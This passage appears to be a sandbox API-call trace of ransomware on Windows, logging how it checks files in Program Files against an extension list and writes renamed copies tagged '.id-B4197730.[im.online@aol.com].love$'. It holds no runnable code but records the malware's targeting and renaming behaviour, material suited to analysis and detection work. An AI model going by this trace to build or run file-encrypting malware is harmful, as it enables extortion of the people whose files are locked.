files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.056] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2616) returned 1 [0284.056] CloseHandle (hObject=0x318) returned 1 [0284.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0284.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.056] lstrlenW (lpString=".doc") returned 4 [0284.057] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.057] lstrlenW (lpString=".docx") returned 5 [0284.057] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0284.057] lstrlenW (lpString=".pdf") returned 4 [0284.057] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.057] lstrlenW (lpString=".xls") returned 4 [0284.057] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.057] lstrlenW (lpString=".xlsx") returned 5 [0284.057] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0284.057] lstrlenW (lpString=".ppt") returned 4 [0284.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.057] lstrlenW (lpString=".zip") returned 4 [0284.057] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.057] lstrlenW (lpString=".rar") returned 4 [0284.057] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.057] lstrlenW (lpString=".bz2") returned 4 [0284.057] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.057] lstrlenW (lpString=".7z") returned 3 [0284.057] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.057] lstrlenW (lpString=".dbf") returned 4 [0284.057] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.057] lstrlenW (lpString=".1cd") returned 4 [0284.057] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.058] lstrlenW (lpString=".jpg") returned 4 [0284.058] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.058] lstrlenW (lpString=".doc") returned 4 [0284.058] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString=".docx") returned 5 [0284.058] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0284.058] lstrlenW (lpString=".pdf") returned 4 [0284.058] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString=".xls") returned 4 [0284.058] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString=".xlsx") returned 5 [0284.058] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0284.058] lstrlenW (lpString=".ppt") returned 4 [0284.058] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.058] lstrlenW (lpString=".zip") returned 4 [0284.058] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.058] lstrlenW (lpString=".rar") returned 4 [0284.058] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString=".bz2") returned 4 [0284.058] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString=".7z") returned 3 [0284.058] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.058] lstrlenW (lpString=".dbf") returned 4 [0284.058] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.058] lstrlenW (lpString=".1cd") returned 4 [0284.058] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0284.059] lstrlenW (lpString=".jpg") returned 4 [0284.059] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.059] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0284.059] lstrlenW (lpString="ipsel.xml") returned 9 [0284.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.060] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2618) returned 1 [0284.060] CloseHandle (hObject=0x318) returned 1 [0284.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0284.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.060] lstrlenW (lpString=".doc") returned 4 [0284.060] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.060] lstrlenW (lpString=".docx") returned 5 [0284.060] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0284.060] lstrlenW (lpString=".pdf") returned 4 [0284.060] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.060] lstrlenW (lpString=".xls") returned 4 [0284.060] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.060] lstrlenW (lpString=".xlsx") returned 5 [0284.060] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0284.060] lstrlenW (lpString=".ppt") returned 4 [0284.061] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.061] lstrlenW (lpString=".zip") returned 4 [0284.061] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.061] lstrlenW (lpString=".rar") returned 4 [0284.061] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString=".bz2") returned 4 [0284.061] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString=".7z") returned 3 [0284.061] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.061] lstrlenW (lpString=".dbf") returned 4 [0284.061] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.061] lstrlenW (lpString=".1cd") returned 4 [0284.061] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.061] lstrlenW (lpString=".jpg") returned 4 [0284.061] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.061] lstrlenW (lpString=".doc") returned 4 [0284.061] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString=".docx") returned 5 [0284.061] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0284.061] lstrlenW (lpString=".pdf") returned 4 [0284.061] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString=".xls") returned 4 [0284.061] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.061] lstrlenW (lpString=".xlsx") returned 5 [0284.061] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0284.061] lstrlenW (lpString=".ppt") returned 4 [0284.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.062] lstrlenW (lpString=".zip") returned 4 [0284.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.062] lstrlenW (lpString=".rar") returned 4 [0284.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.062] lstrlenW (lpString=".bz2") returned 4 [0284.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.062] lstrlenW (lpString=".7z") returned 3 [0284.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.062] lstrlenW (lpString=".dbf") returned 4 [0284.062] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.062] lstrlenW (lpString=".1cd") returned 4 [0284.062] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0284.062] lstrlenW (lpString=".jpg") returned 4 [0284.062] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.062] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0284.062] lstrlenW (lpString="ipsen.xml") returned 9 [0284.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.063] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2578) returned 1 [0284.064] CloseHandle (hObject=0x318) returned 1 [0284.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0284.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.064] lstrlenW (lpString=".doc") returned 4 [0284.064] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.064] lstrlenW (lpString=".docx") returned 5 [0284.064] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0284.064] lstrlenW (lpString=".pdf") returned 4 [0284.064] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.064] lstrlenW (lpString=".xls") returned 4 [0284.064] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.064] lstrlenW (lpString=".xlsx") returned 5 [0284.064] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0284.064] lstrlenW (lpString=".ppt") returned 4 [0284.065] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.065] lstrlenW (lpString=".zip") returned 4 [0284.065] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.065] lstrlenW (lpString=".rar") returned 4 [0284.065] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString=".bz2") returned 4 [0284.065] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString=".7z") returned 3 [0284.065] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.065] lstrlenW (lpString=".dbf") returned 4 [0284.065] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.065] lstrlenW (lpString=".1cd") returned 4 [0284.065] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.065] lstrlenW (lpString=".jpg") returned 4 [0284.065] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.065] lstrlenW (lpString=".doc") returned 4 [0284.065] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString=".docx") returned 5 [0284.065] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0284.065] lstrlenW (lpString=".pdf") returned 4 [0284.065] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString=".xls") returned 4 [0284.065] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString=".xlsx") returned 5 [0284.065] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0284.065] lstrlenW (lpString=".ppt") returned 4 [0284.065] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.066] lstrlenW (lpString=".zip") returned 4 [0284.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.066] lstrlenW (lpString=".rar") returned 4 [0284.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.066] lstrlenW (lpString=".bz2") returned 4 [0284.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.066] lstrlenW (lpString=".7z") returned 3 [0284.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.066] lstrlenW (lpString=".dbf") returned 4 [0284.066] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.066] lstrlenW (lpString=".1cd") returned 4 [0284.066] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0284.066] lstrlenW (lpString=".jpg") returned 4 [0284.066] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.066] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0284.066] lstrlenW (lpString="ipsesp.xml") returned 10 [0284.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.067] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=3024) returned 1 [0284.067] CloseHandle (hObject=0x318) returned 1 [0284.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0284.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.067] lstrlenW (lpString=".doc") returned 4 [0284.067] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.068] lstrlenW (lpString=".docx") returned 5 [0284.068] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0284.068] lstrlenW (lpString=".pdf") returned 4 [0284.068] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.068] lstrlenW (lpString=".xls") returned 4 [0284.068] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.068] lstrlenW (lpString=".xlsx") returned 5 [0284.068] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0284.068] lstrlenW (lpString=".ppt") returned 4 [0284.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.068] lstrlenW (lpString=".zip") returned 4 [0284.068] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.068] lstrlenW (lpString=".rar") returned 4 [0284.068] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.068] lstrlenW (lpString=".bz2") returned 4 [0284.068] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.068] lstrlenW (lpString=".7z") returned 3 [0284.068] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.068] lstrlenW (lpString=".dbf") returned 4 [0284.069] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.069] lstrlenW (lpString=".1cd") returned 4 [0284.069] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.069] lstrlenW (lpString=".jpg") returned 4 [0284.069] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.069] lstrlenW (lpString=".doc") returned 4 [0284.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString=".docx") returned 5 [0284.069] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0284.069] lstrlenW (lpString=".pdf") returned 4 [0284.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString=".xls") returned 4 [0284.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString=".xlsx") returned 5 [0284.069] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0284.069] lstrlenW (lpString=".ppt") returned 4 [0284.069] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.069] lstrlenW (lpString=".zip") returned 4 [0284.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.069] lstrlenW (lpString=".rar") returned 4 [0284.069] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString=".bz2") returned 4 [0284.069] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString=".7z") returned 3 [0284.069] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.069] lstrlenW (lpString=".dbf") returned 4 [0284.069] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.070] lstrlenW (lpString=".1cd") returned 4 [0284.070] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0284.070] lstrlenW (lpString=".jpg") returned 4 [0284.070] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.070] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0284.070] lstrlenW (lpString="ipsfin.xml") returned 10 [0284.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.071] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2658) returned 1 [0284.071] CloseHandle (hObject=0x318) returned 1 [0284.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0284.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0284.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0284.071] lstrlenW (lpString=".doc") returned 4 [0284.071] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.071] lstrlenW (lpString=".docx") returned 5 [0284.071] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0284.071] lstrlenW (lpString=".pdf") returned 4 [0284.071] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.072] lstrlenW (lpString=".xls") returned 4 [0284.072] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.072] lstrlenW (lpString=".xlsx") returned 5 [0284.072] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0284.072] lstrlenW (lpString=".ppt") returned 4 [0284.072] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0284.072] lstrlenW (lpString=".zip") returned 4 [0284.072] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.072] lstrlenW (lpString=".rar") returned 4 [0284.072] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.072] lstrlenW (lpString=".bz2") returned 4 [0284.072] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.072] lstrlenW (lpString=".7z") returned 3 [0284.072] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0284.072] lstrlenW (lpString=".dbf") returned 4 [0284.072] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.519] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.519] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.944] GetLastError () returned 0x0 [0284.944] ReadFile (in: hFile=0x368, lpBuffer=0x38f4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f4020*, lpNumberOfBytesRead=0x2d3fecc*=0x385c, 